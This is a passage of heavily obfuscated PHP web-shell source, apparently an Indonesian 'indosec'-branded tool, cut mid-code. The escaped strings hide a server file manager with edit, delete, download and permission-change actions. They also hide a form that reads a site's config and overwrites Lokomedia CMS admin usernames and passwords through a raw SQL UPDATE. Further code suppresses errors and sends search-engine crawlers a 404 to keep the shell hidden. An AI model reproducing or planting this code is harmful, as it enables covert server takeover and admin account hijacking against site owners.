"\114\x6f\147\151\x6e\x20\x3d\76\40\x3c\146\157\x6e\x74\x20\x63\157\154\157\162\75\x72\145\x64\x3e\x45\162\162\157\x72\54\x20\x54\x69\144\x61\x6b\x20\144\x61\160\141\x74\40\x6d\x65\156\147\x61\x6d\x62\x69\x6c\40\x6e\141\155\x61\40\144\x6f\155\141\x69\x6e\156\x79\141\74\57\146\157\x6e\164\x3e\74\x62\162\76"; } else { $IIIIIIlI1l1I = file_get_contents("{$IIIIIIlI1lll}\57\141\144\x6d\151\156\167\x65\x62\x2f"); $IIIIIIlI1l1l = file_get_contents("{$IIIIIIlI1lll}\57\154\x6f\x6b\x6f\155\x65\x64\151\x61\x2f\141\144\155\151\156\x77\145\142\57"); if (preg_match("\57\x43\x4d\123\40\114\157\x6b\157\x6d\145\144\151\x61\174\x41\x64\x6d\x69\156\x69\163\164\x72\141\x74\157\162\57", $IIIIIIlI1l1I)) { $IIIIIIlI1ll1 = "\x4c\x6f\x67\x69\156\x20\x3d\76\x20\74\x61\x20\150\x72\x65\x66\75\x27{$IIIIIIlI1lll}\x2f\141\144\155\x69\x6e\167\x65\x62\47\40\x74\x61\x72\x67\145\164\x3d\47\x5f\x62\x6c\141\x6e\153\x27\x3e\74\x75\76{$IIIIIIlI1lll}\x2f\141\x64\155\151\x6e\x77\x65\142\x3c\x2f\165\76\74\57\x61\76\x3c\142\x72\76"; } elseif (preg_match("\57\x43\x4d\123\40\114\x6f\153\x6f\x6d\145\144\151\x61\174\x4c\157\153\157\x6d\x65\x64\x69\x61\57", $IIIIIIlI1l1l)) { $IIIIIIlI1ll1 = "\114\x6f\x67\x69\x6e\40\75\x3e\x20\x3c\x61\x20\x68\162\x65\x66\75\x27{$IIIIIIlI1lll}\57\x6c\x6f\x6b\x6f\x6d\145\144\151\141\x2f\141\144\155\x69\156\x77\145\142\x27\40\x74\141\162\147\x65\x74\75\47\137\142\x6c\x61\156\x6b\47\76\x3c\x75\x3e{$IIIIIIlI1lll}\x2f\x6c\x6f\153\157\x6d\145\x64\151\x61\x2f\x61\144\155\x69\156\167\145\142\x3c\x2f\165\x3e\74\57\141\76\74\x62\162\x3e"; } else { $IIIIIIlI1ll1 = "\x4c\x6f\147\151\156\40\x3d\76\x20\74\x61\x20\150\162\145\146\75\47{$IIIIIIlI1lll}\x27\x20\x74\x61\162\x67\145\164\75\x27\137\x62\x6c\141\x6e\x6b\x27\76\x3c\x75\76{$IIIIIIlI1lll}\74\57\165\76\x3c\57\141\76\x20\x5b\x20\x3c\146\x6f\156\164\x20\x63\x6f\x6c\157\x72\x3d\162\145\x64\x3e\147\141\164\141\165\x20\x61\x64\155\151\156\40\x6c\x6f\147\151\156\x20\156\171\141\40\x64\151\x6d\141\x6e\x61\x20\x3a\x70\x3c\x2f\x66\x6f\x6e\164\76\x20\x5d\x3c\142\162\76"; } } } else { $IIIIIIlI1l11 = file_get_contents("{$target}\x2f\141\x64\x6d\151\156\x77\145\142\57"); $IIIIIIlI11II = file_get_contents("{$target}\x2f\x6c\x6f\x6b\157\155\x65\x64\x69\x61\x2f\x61\x64\x6d\151\156\x77\145\142\x2f"); if (preg_match("\x2f\103\x4d\123\x20\114\x6f\153\x6f\x6d\145\x64\x69\x61\174\101\144\155\x69\x6e\151\163\x74\162\x61\x74\x6f\x72\x2f", $IIIIIIlI1l11)) { $IIIIIIlI1llI = "\114\x6f\x67\151\x6e\x20\75\x3e\40\74\141\40\150\162\145\146\x3d\x27{$target}\57\x61\144\155\x69\x6e\x77\145\x62\x27\40\164\x61\162\147\145\x74\x3d\x27\x5f\x62\154\141\156\153\47\x3e\74\x75\x3e{$target}\57\141\x64\155\151\156\x77\x65\x62\74\x2f\165\x3e\x3c\x2f\x61\x3e\x3c\142\162\x3e"; } elseif (preg_match("\x2f\103\x4d\123\x20\114\x6f\x6b\157\155\145\144\151\x61\174\114\157\153\x6f\x6d\145\x64\151\x61\57", $IIIIIIlI11II)) { $IIIIIIlI1llI = "\114\157\x67\151\156\x20\x3d\76\x20\74\x61\x20\x68\162\x65\146\x3d\x27{$target}\x2f\154\157\153\157\x6d\x65\x64\x69\x61\x2f\x61\x64\x6d\x69\x6e\167\x65\x62\x27\x20\x74\x61\162\147\145\164\75\47\x5f\x62\x6c\x61\156\153\47\x3e\x3c\x75\76{$target}\57\x6c\x6f\153\x6f\155\145\144\x69\x61\x2f\141\144\155\x69\156\x77\145\142\74\x2f\x75\x3e\74\x2f\x61\x3e\x3c\142\162\x3e"; } else { $IIIIIIlI1llI = "\114\157\147\x69\x6e\40\75\x3e\40\x3c\x61\40\150\162\145\x66\x3d\x27{$target}\47\x20\164\141\x72\x67\145\164\x3d\47\137\142\154\x61\x6e\153\47\x3e\74\x75\76{$target}\x3c\x2f\x75\x3e\74\57\x61\x3e\x20\x5b\40\74\x66\x6f\156\x74\40\x63\x6f\154\157\162\x3d\162\x65\144\x3e\x67\x61\x74\x61\165\x20\x61\x64\x6d\151\x6e\x20\x6c\157\147\151\156\x20\x6e\171\x61\40\x64\x69\x6d\141\x6e\141\x20\x3a\x70\x3c\x2f\x66\x6f\156\x74\x3e\40\135\x3c\x62\x72\x3e"; } } $IIIIIIlI1Il1 = mysql_query("\125\120\104\x41\x54\105\40{$IIIIIIlIl11I}\40\x53\105\124\40\x75\x73\145\162\156\x61\155\x65\75\x27{$user_baru}\x27\54\160\x61\x73\x73\167\x6f\x72\x64\x3d\x27{$pass_baru}\47\x20\x57\x48\105\x52\x45\40\154\145\166\145\154\75\47\x61\144\155\151\156\x27"); echo "\x43\x6f\156\x66\x69\x67\x20\x3d\x3e\x20" . $IIIIIIlIll11 . "\74\x62\162\x3e"; echo "\103\x4d\x53\40\x3d\x3e\40\x4c\x6f\x6b\x6f\x6d\x65\x64\151\x61\x3c\x62\x72\76"; if (preg_match("\57\x45\x72\x72\157\x72\x2c\x20\124\x69\144\141\x6b\x20\x64\x61\x70\x61\164\40\155\145\x6e\147\141\155\142\x69\154\40\156\x61\155\x61\x20\144\157\155\141\x69\x6e\x6e\171\141\x2f", $IIIIIIlI1llI)) { echo $IIIIIIlI1ll1; } else { echo $IIIIIIlI1llI; } if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "\123\164\141\164\x75\x73\x20\75\76\40\74\146\x6f\156\164\x20\143\x6f\x6c\x6f\x72\75\x72\x65\144\76" . mysql_error() . "\74\x2f\x66\157\156\x74\76\x3c\142\x72\x3e\74\x62\x72\76"; } else { echo "\123\x74\141\x74\165\x73\x20\75\76\x20\74\x66\157\x6e\164\40\x63\157\x6c\x6f\x72\x3d\154\x69\x6d\145\x3e\123\165\153\x73\x65\163\x2c\x20\x53\151\x6c\141\153\141\156\x20\x6c\x6f\x67\x69\x6e\x20\144\145\x6e\x67\x61\156\x20\125\163\x65\x72\x20\x26\40\120\x61\163\163\x77\x6f\x72\144\x20\171\x61\x6e\147\40\142\141\162\165\56\74\57\x66\x6f\156\x74\76\74\x62\162\76\74\x62\x72\76"; } mysql_close($IIIIIIlIl11l); } } } } else { echo "\74\150\x33\40\143\154\141\x73\163\x3d\47\164\145\x78\x74\55\x63\x65\156\164\x65\x72\40\155\142\55\x34\x27\76\x41\165\x74\x6f\x20\x45\144\151\x74\40\125\163\145\x72\x3c\57\x68\x33\x3e\xa\74\x66\157\162\x6d\x20\155\145\164\150\x6f\x64\75\47\x70\x6f\163\164\x27\x3e\xa\74\x68\65\76\x4c\157\153\x61\x73\x69\x20\x44\151\162\40\103\x6f\x6e\146\151\x67\74\x2f\x68\x35\x3e\xa\74\x69\156\x70\165\164\x20\x74\171\x70\145\75\x27\164\145\170\164\x27\x20\143\x6c\x61\163\163\75\x27\x66\157\x72\x6d\x2d\143\157\156\164\162\x6f\x6c\40\x6d\x62\x2d\x33\47\x20\x6e\x61\x6d\x65\75\47\x63\x6f\x6e\x66\x69\147\x5f\144\x69\x72\x27\40\x76\141\154\x75\145\x3d\47{$dir}\x27\x3e\12\74\x68\65\76\123\145\164\40\x55\163\145\162\x20\x26\x20\x50\141\x73\163\x20\72\74\57\x68\x35\76\xa\74\151\x6e\160\165\x74\x20\x74\x79\x70\x65\75\47\164\x65\x78\164\x27\40\x6e\x61\155\145\75\47\165\163\x65\162\x5f\x62\141\162\x75\x27\40\166\x61\154\x75\145\x3d\x27\x69\156\144\x6f\x73\145\143\47\x20\143\x6c\141\x73\163\75\x27\x66\x6f\x72\x6d\x2d\143\x6f\x6e\164\162\157\154\x20\x6d\142\x2d\x33\x27\40\160\154\141\143\x65\150\x6f\x6c\x64\x65\x72\75\x27\x53\x65\164\40\125\x73\x65\x72\x6e\141\x6d\145\47\x3e\12\74\151\156\160\165\164\x20\164\171\x70\x65\75\x27\x74\x65\x78\x74\47\40\156\x61\x6d\145\75\x27\160\x61\x73\163\137\142\141\x72\x75\x27\40\166\x61\x6c\165\x65\x3d\47\151\156\144\x6f\x73\x65\143\x27\40\x63\154\x61\x73\x73\x3d\47\146\x6f\162\155\x2d\143\x6f\156\x74\x72\157\x6c\x20\155\142\x2d\x34\x27\40\160\x6c\141\x63\x65\150\157\154\144\x65\162\x3d\47\x53\x65\164\40\120\x61\163\x73\167\x6f\162\144\47\x3e\12\x3c\x69\156\x70\x75\164\40\x74\171\x70\145\75\47\163\165\142\x6d\151\164\47\x20\x6e\x61\x6d\x65\x3d\47\150\141\152\141\x72\47\x20\x76\x61\154\165\x65\75\x27\x45\144\x69\164\40\x55\x73\145\x72\x27\40\x63\x6c\141\163\x73\75\47\142\164\x6e\40\142\x74\156\x2d\x64\141\x6e\147\x65\162\x20\142\x74\x6e\55\142\154\x6f\143\x6b\x27\76\xa\x3c\x2f\146\x6f\162\x6d\x3e\12\74\160\40\x63\154\x61\x73\x73\75\47\164\x65\x78\x74\x2d\155\165\164\145\x64\40\x6d\142\x2d\64\47\76\x4e\102\72\40\x54\157\x6f\154\x73\x20\x69\x6e\151\x20\167\x6f\162\x6b\40\x6a\x69\x6b\x61\x20\x64\151\x6a\x61\x6c\x61\x6e\x6b\141\156\x20\144\x69\x20\x64\x61\154\141\x6d\x20\146\157\154\144\x65\x72\40\74\165\76\x63\x6f\x6e\146\x69\x67\x3c\x2f\165\x3e\x20\50\x20\x65\x78\x3a\40\x2f\150\157\155\145\x2f\x75\163\x65\162\57\x70\x75\x62\x6c\x69\143\x5f\x68\x74\155\x6c\57\x6e\x61\155\141\x5f\x66\x6f\x6c\x64\145\162\137\143\157\156\146\151\147\x20\51\74\57\160\76"; } die; } goto uaM2x; jeZQ1: if (isset($_GET["\146\151\x6c\145"])) { $file = $_GET["\x66\x69\x6c\x65"]; } goto xbzJ0; t7X4R: ini_set("\150\x74\x6d\x6c\x5f\145\162\162\157\x72\x73", 0); goto U01q1; smfiU: foreach ($IIIIIIllllI1 as $file) { $IIIIIIlll1II = date("\x64\57\x6d\x2f\x79\x20\107\x3a\x69", filemtime("{$path}\x2f{$file}")); if (!is_file($path . "\x2f" . $file)) { continue; } echo "\74\164\x72\x20\x63\154\141\x73\163\75\x22\x74\145\170\x74\55\x63\145\x6e\x74\x65\x72\x22\x3e\xa\74\164\144\x20\x63\x6c\x61\x73\163\75\42\x70\151\x6e\147\147\x69\x72\x22\76\x3c\x69\x6d\x67\x20\163\162\x63\75\42"; $IIIIIIlll1Il = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if ($IIIIIIlll1Il == "\160\x68\160") { echo "\x68\164\x74\x70\x73\x3a\57\57\167\167\167\x2e\x73\x68\x61\x72\145\x69\x63\x6f\x6e\x2e\x6e\145\164\57\144\141\x74\x61\57\x32\x35\66\170\x32\65\x36\57\62\60\x31\65\57\60\x39\57\x30\67\57\x39\67\x34\63\61\137\144\x6f\143\x75\155\x65\156\x74\137\65\x31\62\170\65\61\x32\56\160\x6e\147\42"; } elseif ($IIIIIIlll1Il == "\150\164\155\154") { echo "\150\x74\164\160\x73\x3a\57\x2f\167\x77\167\x2e\x73\150\x61\x72\145\x69\143\x6f\156\x2e\156\x65\x74\57\144\x61\164\141\57\62\x35\x36\x78\62\65\x36\57\x32\60\61\x36\57\60\65\x2f\x30\x36\x2f\x37\x36\x30\x38\65\x38\x5f\150\164\x6d\x6c\x5f\65\61\x32\x78\x35\61\62\x2e\x70\156\147\42"; } elseif ($IIIIIIlll1Il == "\143\x73\163") { echo "\x68\164\164\160\x73\x3a\x2f\57\167\167\x77\56\163\x68\141\162\x65\x69\143\x6f\x6e\x2e\x6e\145\164\57\144\141\164\x61\57\x32\65\x36\x78\62\65\x36\x2f\62\x30\x31\x36\x2f\x30\x35\x2f\x30\x36\x2f\67\66\x30\x38\65\65\137\143\163\163\x5f\65\61\x32\170\65\61\x32\56\x70\156\x67\42"; } elseif ($IIIIIIlll1Il == "\160\x6e\147") { echo "\x68\x74\164\x70\163\x3a\57\x2f\143\x64\x6e\56\x69\x63\x6f\x6e\x73\143\157\165\164\x2e\x63\157\x6d\57\151\x63\x6f\x6e\x2f\x70\x72\145\155\x69\165\x6d\57\x70\156\x67\55\x32\x35\x36\55\x74\x68\x75\155\142\x2f\160\x6e\147\55\x66\151\154\145\55\62\x30\55\65\60\x34\63\71\x35\56\160\x6e\147\42"; } elseif ($IIIIIIlll1Il == "\152\160\x67") { echo "\x68\164\x74\x70\x73\72\57\x2f\143\144\156\x2e\151\x63\157\156\163\x63\x6f\x75\x74\x2e\x63\157\x6d\x2f\151\143\157\x6e\x2f\x70\x72\145\x6d\x69\x75\155\57\x70\156\x67\x2d\x32\65\x36\55\164\150\165\155\142\57\152\160\147\55\146\151\x6c\145\x2d\x32\x30\55\65\x30\x34\x33\x38\71\56\x70\156\x67\x22"; } elseif ($IIIIIIlll1Il == "\x6a\x70\x65\x67") { echo "\150\164\x74\x70\x73\72\57\x2f\143\144\x6e\x2e\151\143\x6f\156\x73\x63\157\165\x74\56\x63\x6f\x6d\x2f\x69\143\x6f\156\x2f\x70\x72\x65\x6d\x69\165\155\x2f\160\156\147\x2d\62\x35\x36\55\x74\150\165\x6d\142\57\152\160\x67\x2d\x66\x69\x6c\x65\x2d\62\x30\55\x35\x30\x34\63\x38\71\x2e\x70\x6e\147\x22"; } elseif ($IIIIIIlll1Il == "\x7a\151\x70") { echo "\150\164\164\x70\163\x3a\57\57\x77\167\x77\56\163\x68\141\162\x65\x69\x63\157\156\56\156\145\164\x2f\144\x61\x74\x61\x2f\62\65\66\170\x32\x35\66\57\x32\60\61\x36\57\x30\x36\x2f\x32\x33\57\66\61\x33\66\x37\70\x5f\172\x69\160\x5f\62\65\x36\170\62\65\66\x2e\x70\156\147\42"; } elseif ($IIIIIIlll1Il == "\152\x73") { echo "\150\x74\x74\160\163\x3a\x2f\57\x77\x77\167\x2e\x73\x68\141\162\x65\x69\x63\157\156\56\156\x65\x74\x2f\144\x61\x74\141\x2f\62\x35\x36\x78\x32\65\x36\57\x32\x30\x31\x36\x2f\x30\x35\x2f\60\66\57\67\x36\60\70\65\71\x5f\x66\151\154\x65\x5f\65\x31\x32\x78\x35\x31\62\56\160\x6e\x67"; } elseif ($IIIIIIlll1Il == "\164\164\x66") { echo "\150\164\x74\160\x73\72\x2f\57\151\155\141\147\x65\x2e\x66\x6c\x61\x74\151\x63\x6f\x6e\x2e\143\157\x6d\57\151\x63\x6f\x6e\x73\57\x70\x6e\x67\57\61\62\x38\57\x31\x31\x32\66\x2f\x31\61\62\x36\x38\x39\62\x2e\x70\156\x67"; } elseif ($IIIIIIlll1Il == "\x6f\x74\146") { echo "\150\x74\164\x70\163\72\57\x2f\151\155\x61\147\145\56\146\x6c\141\x74\x69\x63\157\156\56\x63\x6f\x6d\57\x69\143\x6f\156\x73\x2f\160\156\x67\57\61\x32\70\57\61\61\x32\66\x2f\61\61\62\x36\70\71\61\56\x70\x6e\x67"; } elseif ($IIIIIIlll1Il == "\164\170\164") { echo "\x68\164\x74\160\x73\72\57\57\x69\143\x6f\x6e\x61\x72\x63\150\151\166\x65\x2e\x63\157\155\57\x64\x6f\x77\156\154\x6f\141\x64\x2f\151\x38\x33\66\62\x36\x2f\160\145\154\146\165\x73\151\157\x6e\x2f\x66\x6c\141\164\x2d\146\151\x6c\145\55\x74\x79\x70\145\x2f\x74\x78\164\x2e\151\x63\x6f"; } elseif ($IIIIIIlll1Il == "\151\x63\x6f") { echo "\x68\x74\x74\x70\x73\x3a\57\x2f\151\x6d\141\147\145\x2e\x66\154\x61\164\151\x63\x6f\156\x2e\x63\x6f\x6d\57\x69\x63\x6f\156\163\x2f\x70\x6e\x67\57\61\x32\x38\57\61\61\62\66\x2f\x31\x31\62\66\x38\x37\x33\56\x70\x6e\x67"; } elseif ($IIIIIIlll1Il == "\x63\x6f\156\x66") { echo "\x68\x74\x74\x70\163\x3a\57\x2f\151\x6d\141\147\x65\56\146\x6c\x61\164\x69\x63\157\x6e\56\143\157\155\x2f\151\x63\x6f\x6e\x73\x2f\160\156\147\x2f\x35\x31\x32\57\x31\65\67\63\57\x31\65\x37\63\63\60\x31\x2e\x70\156\147"; } elseif ($IIIIIIlll1Il == "\x68\x74\x61\x63\x63\x65\x73\x73") { echo "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\155\x61\x67\x65\56\146\154\x61\x74\x69\x63\157\x6e\x2e\143\157\x6d\x2f\151\143\x6f\x6e\x73\57\160\156\x67\57\61\62\x38\57\61\x37\62\60\x2f\x31\67\x32\60\x34\64\x34\56\160\156\147"; } elseif ($IIIIIIlll1Il == "\163\x68") { echo "\x68\164\x74\160\163\x3a\57\x2f\151\x6d\141\x67\x65\56\x66\x6c\x61\x74\151\x63\157\156\x2e\x63\x6f\x6d\x2f\151\x63\157\156\x73\57\160\x6e\x67\x2f\61\62\x38\57\66\61\x37\x2f\66\x31\67\x35\63\65\56\160\x6e\x67"; } elseif ($IIIIIIlll1Il == "\160\x79") { echo "\x68\x74\164\160\163\72\x2f\x2f\151\155\x61\x67\145\x2e\x66\x6c\141\x74\x69\143\x6f\156\56\143\x6f\155\57\x69\x63\x6f\x6e\x73\x2f\160\156\147\x2f\61\62\70\x2f\x31\x38\60\x2f\61\70\x30\x38\66\67\x2e\x70\156\147"; } elseif ($IIIIIIlll1Il == "\151\156\x64\163\143") { echo "\x68\x74\x74\160\x73\x3a\x2f\x2f\151\x6d\141\x67\x65\56\x66\154\141\164\151\x63\157\156\56\143\157\x6d\57\151\x63\x6f\x6e\163\57\160\156\x67\57\x35\x31\62\x2f\61\62\66\x35\57\x31\62\66\x35\65\61\61\x2e\x70\x6e\x67"; } elseif ($IIIIIIlll1Il == "\163\x71\154") { echo "\150\x74\164\x70\x73\x3a\x2f\57\x69\x6d\147\x2e\151\143\x6f\x6e\163\x38\56\x63\157\155\57\165\x6c\x74\162\141\166\151\157\x6c\x65\x74\57\x32\x78\x2f\144\x61\x74\141\55\143\x6f\x6e\146\x69\147\165\162\x61\164\151\157\156\56\x70\156\147"; } elseif ($IIIIIIlll1Il == "\x70\154") { echo "\150\x74\x74\160\72\57\57\x69\x2e\151\x6d\147\x75\162\x2e\x63\157\x6d\57\x50\156\x6d\130\70\110\71\56\160\x6e\147"; } elseif ($IIIIIIlll1Il == "\160\144\146") { echo "\150\x74\164\x70\163\x3a\x2f\57\x69\x6d\141\x67\x65\56\146\x6c\x61\x74\x69\x63\x6f\156\56\143\x6f\x6d\57\151\143\157\x6e\163\x2f\160\156\147\57\61\62\70\x2f\61\63\x36\x2f\x31\x33\66\x35\x32\62\56\160\156\147"; } elseif ($IIIIIIlll1Il == "\x6d\x70\64") { echo "\x68\x74\164\160\x73\72\57\57\151\155\141\x67\145\56\x66\154\x61\x74\x69\143\157\x6e\x2e\143\157\155\x2f\151\x63\157\x6e\x73\57\x70\x6e\x67\x2f\x31\x32\70\57\x31\x33\x36\x2f\61\63\66\x35\x34\x35\56\x70\x6e\147"; } elseif ($IIIIIIlll1Il == "\155\x70\x33") { echo "\150\x74\x74\160\163\x3a\57\57\151\155\141\147\145\56\x66\154\x61\164\x69\x63\x6f\x6e\56\x63\157\x6d\57\151\143\x6f\x6e\163\57\160\x6e\x67\x2f\x31\x32\70\x2f\61\63\x36\x2f\61\x33\x36\x35\64\x38\x2e\160\x6e\x67"; } elseif ($IIIIIIlll1Il == "\x67\151\164") { echo "\150\164\x74\160\x73\x3a\x2f\x2f\151\155\x61\x67\145\56\146\x6c\141\164\x69\x63\157\156\56\143\x6f\155\x2f\151\x63\x6f\x6e\163\57\160\156\147\57\x31\x32\x38\57\x36\61\67\x2f\x36\x31\67\65\x30\71\56\x70\156\x67"; } elseif ($IIIIIIlll1Il == "\x6d\144") { echo "\150\x74\164\160\x73\x3a\x2f\57\151\155\x61\147\x65\x2e\146\154\141\x74\151\143\157\156\x2e\143\157\155\x2f\x69\143\x6f\x6e\163\57\160\156\147\57\x31\62\70\57\x36\x31\x37\57\x36\61\67\x35\62\60\56\160\156\147"; } else { echo "\x68\164\164\x70\72\x2f\x2f\x69\143\157\156\163\x2e\151\143\x6f\156\141\x72\143\150\151\x76\145\56\143\157\155\x2f\151\143\x6f\156\x73\57\172\150\157\x6f\x6c\145\147\x6f\x2f\155\141\164\x65\162\x69\x61\154\x2f\x32\65\66\57\106\x69\x6c\x65\164\171\160\145\55\104\x6f\x63\x73\55\151\143\157\x6e\x2e\160\156\x67"; } echo "\42\40\x63\154\x61\x73\163\x3d\x22\151\x63\x6f\x32\42\76\74\x2f\151\155\x67\x3e"; if (strlen($file) > 50) { $IIIIIIlll1lI = substr($file, 0, 50) . "\x2e\x2e\x2e\55\56" . $IIIIIIlll1Il; } else { $IIIIIIlll1lI = $file; } echo "\74\141\x20\143\154\141\x73\x73\x3d\42\x6d\x6c\x2d\x33\x22\x20\150\x72\145\146\75\x22\x3f\144\x69\x72\x3d" . $path . "\x26\141\x6b\x73\151\x3d\x76\x69\x65\167\x26\x66\x69\x6c\145\75" . $path . "\57" . $file . "\42\x3e" . $IIIIIIlll1lI . "\x3c\57\141\76\x3c\x2f\x74\x64\76\xa\74\x74\x64\76" . IIIIIIII1l11(filesize($file)) . "\x3c\57\x74\x64\x3e\12\x3c\164\x64\76" . $IIIIIIlll1II . "\74\x2f\x74\144\x3e\xa\74\164\x64\x3e\74\141\x20\x68\x72\145\x66\x3d\x22\x3f\144\x69\x72\75" . $path . "\x26\141\x6b\x73\x69\75\143\x68\x6d\157\x64\x5f\x66\x69\154\x65\x26\146\x69\154\145\x3d" . $path . "\57" . $file . "\x22\x20\x63\x6c\141\163\163\75\x22\164\x65\170\164\x2d\x63\145\156\x74\x65\162\42\76"; if (is_writable($path . "\57" . $file)) { echo "\74\146\x6f\x6e\x74\40\x63\x6f\154\157\x72\75\x22\x23\60\x30\146\146\60\x30\42\x3e"; } elseif (!is_readable($path . "\x2f" . $file)) { echo "\x3c\146\157\x6e\x74\x20\x63\x6f\x6c\157\x72\x3d\x22\162\x65\x64\42\x3e"; } echo fileperms($path . "\57" . $file); if (is_writable($path . "\57" . $file) || !is_readable($path . "\57" . $file)) { echo "\74\57\146\157\x6e\164\76\74\57\141\x3e\74\x2f\x74\x64\x3e\12\74\164\144\x20\x63\154\141\163\163\75\42\144\x2d\x66\154\x65\170\x22\x3e\12\74\x61\x20\x74\x69\x74\x6c\145\75\42\114\x69\150\141\164\x22\40\143\154\x61\x73\x73\75\x22\x62\141\144\x67\x65\40\142\x61\144\147\145\55\x69\x6e\146\x6f\42\x20\x68\x72\x65\146\75\x22\x3f\x64\151\162\75" . $path . "\46\141\x6b\x73\151\75\166\x69\x65\x77\x26\146\x69\x6c\x65\75" . $path . "\x2f" . $file . "\42\76\46\x6e\x62\163\x70\x3b\x3c\x69\40\143\154\x61\x73\163\75\x22\146\x61\40\x66\141\x2d\145\171\145\42\76\74\57\x69\76\46\156\142\163\160\73\74\x2f\x61\x3e\x26\x6e\142\163\160\73\x26\x6e\x62\x73\x70\x3b\12\x3c\x61\40\x74\151\164\154\x65\x3d\x22\x45\x64\x69\x74\x22\40\143\x6c\141\163\163\75\x22\x62\x61\x64\147\x65\40\x62\x61\144\147\145\55\163\165\x63\143\x65\163\x73\42\40\150\x72\145\146\75\x22\77\x64\151\162\75" . $path . "\x26\141\x6b\x73\x69\75\x65\x64\151\x74\x26\x66\x69\x6c\145\x3d" . $path . "\x2f" . $file . "\42\76\46\156\x62\163\x70\73\74\151\x20\143\x6c\141\163\163\x3d\x22\146\x61\x72\40\x66\141\x2d\145\144\151\x74\x22\76\x3c\x2f\x69\76\46\x6e\x62\163\x70\x3b\74\x2f\141\x3e\46\x6e\x62\x73\160\x3b\x26\x6e\x62\163\x70\73\12\x3c\x61\40\x74\151\x74\x6c\145\75\42\122\145\156\x61\155\145\42\x20\143\154\x61\x73\x73\75\x22\x62\x61\x64\147\x65\x20\142\x61\x64\x67\x65\55\x73\x75\143\x63\x65\x73\163\x22\x20\x68\x72\x65\x66\75\42\x3f\x64\x69\162\x3d" . $path . "\x26\x61\153\163\x69\x3d\162\x65\x6e\x61\x6d\145\x26\x66\x69\154\x65\x3d" . $path . "\57" . $file . "\42\76\x26\156\142\x73\x70\x3b\x3c\x69\40\143\154\141\163\x73\75\x22\x66\141\40\146\141\55\160\145\x6e\143\151\x6c\x22\x3e\74\57\151\x3e\x26\x6e\x62\x73\160\x3b\74\x2f\141\x3e\46\156\x62\x73\x70\73\x26\156\142\x73\x70\73\xa\74\x61\40\x74\x69\164\x6c\145\75\42\104\145\154\145\164\145\42\40\143\154\141\x73\163\75\x22\x62\x61\144\x67\145\40\142\x61\x64\x67\x65\x2d\144\x61\156\147\x65\x72\x22\40\x68\x72\x65\x66\75\42\x3f\144\151\162\75" . $path . "\x26\141\153\163\x69\75\150\x61\160\x75\163\x66\x26\x66\151\154\x65\75" . $path . "\x2f" . $file . "\42\x20\164\x69\x74\154\145\75\x22\x44\x65\154\145\x74\x65\x22\76\46\156\x62\163\x70\73\x3c\151\40\x63\154\141\x73\163\x3d\42\146\x61\40\x66\141\x2d\164\162\141\x73\x68\42\76\74\57\x69\x3e\x26\x6e\142\163\160\73\x3c\x2f\141\x3e\46\x6e\x62\x73\160\x3b\46\x6e\142\x73\160\73\xa\x3c\x61\x20\164\x69\x74\x6c\145\75\x22\104\157\167\x6e\x6c\157\x61\144\x22\40\x63\154\x61\163\163\x3d\42\x62\x61\144\x67\x65\x20\x62\141\144\147\x65\55\160\x72\x69\x6d\141\162\x79\x22\x20\x68\162\145\x66\x3d\x22\77\x26\144\x69\162\x3d" . $path . "\46\x61\x6b\163\x69\x3d\x64\157\x77\156\154\x6f\x61\x64\x26\146\151\x6c\x65\x3d" . $path . "\57" . $file . "\x22\40\164\151\164\154\145\x3d\x22\x44\157\167\156\154\x6f\141\x64\x22\x3e\x26\x6e\x62\163\160\x3b\x3c\x69\x20\x63\x6c\x61\x73\163\75\x22\x66\141\40\146\141\55\144\157\167\x6e\154\157\141\x64\42\x3e\x3c\57\151\x3e\46\156\x62\x73\x70\73\x3c\57\141\x3e\xa\x3c\x2f\164\144\76\12\74\57\164\162\76"; } } goto ViFig; avNPj: ini_set("\144\151\163\160\x6c\x61\x79\x5f\x73\164\141\162\x74\165\160\137\145\162\162\157\x72\163", 0); goto Uibm2; uZ0YP: if ($_GET["\x61\153\163\151"] == "\160\x72\157\x74\145\143\x74\145\x64") { IIIIIIIlI1l1($dir, $IIIIIIII1l1I); } goto jT_fe; NmL7d: function IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir) { echo "\x3c\x73\x63\x72\151\x70\x74\76\123\167\141\154\56\146\x69\x72\x65\50\x7b\xa\x74\151\164\x6c\145\x3a\x20\47{$IIIIIIIlIl1l}\47\54\xa\164\145\170\164\x3a\x20\47{$IIIIIIIlIl11}\47\x2c\xa\x74\x79\x70\145\x3a\40\x27{$IIIIIIIlIl1l}\x27\54\xa\x7d\x29\56\164\150\x65\156\50\x28\x76\x61\154\165\x65\x29\x20\75\x3e\40\173\x77\x69\x6e\144\x6f\167\x2e\x6c\157\x63\141\164\151\157\x6e\x3d\47\x3f\x64\151\162\x3d{$dir}\47\73\x7d\51\x3c\x2f\163\143\162\151\x70\164\x3e"; } goto OPGhy; GeTM0: function printLoginx() { if (!empty($_SERVER["\x48\124\124\120\137\x55\123\105\x52\137\101\107\105\x4e\124"])) { $userAgents = array("\107\x6f\x6f\147\154\x65", "\123\x6c\x75\162\160", "\x4d\x53\116\102\x6f\x74", "\x69\x61\137\141\162\x63\150\151\166\145\162", "\131\x61\156\x64\x65\x78", "\x52\x61\x6d\x62\154\x65\162"); if (preg_match("\x2f" . implode("\x7c", $userAgents) . "\57\151", $_SERVER["\110\x54\x54\x50\x5f\125\x53\105\122\x5f\101\107\105\116\x54"])) { header("\110\x54\124\120\57\61\56\60\x20\x34\60\x34\x20\116\x6f\164\x20\106\x6f\x75\156\144"); die; } } 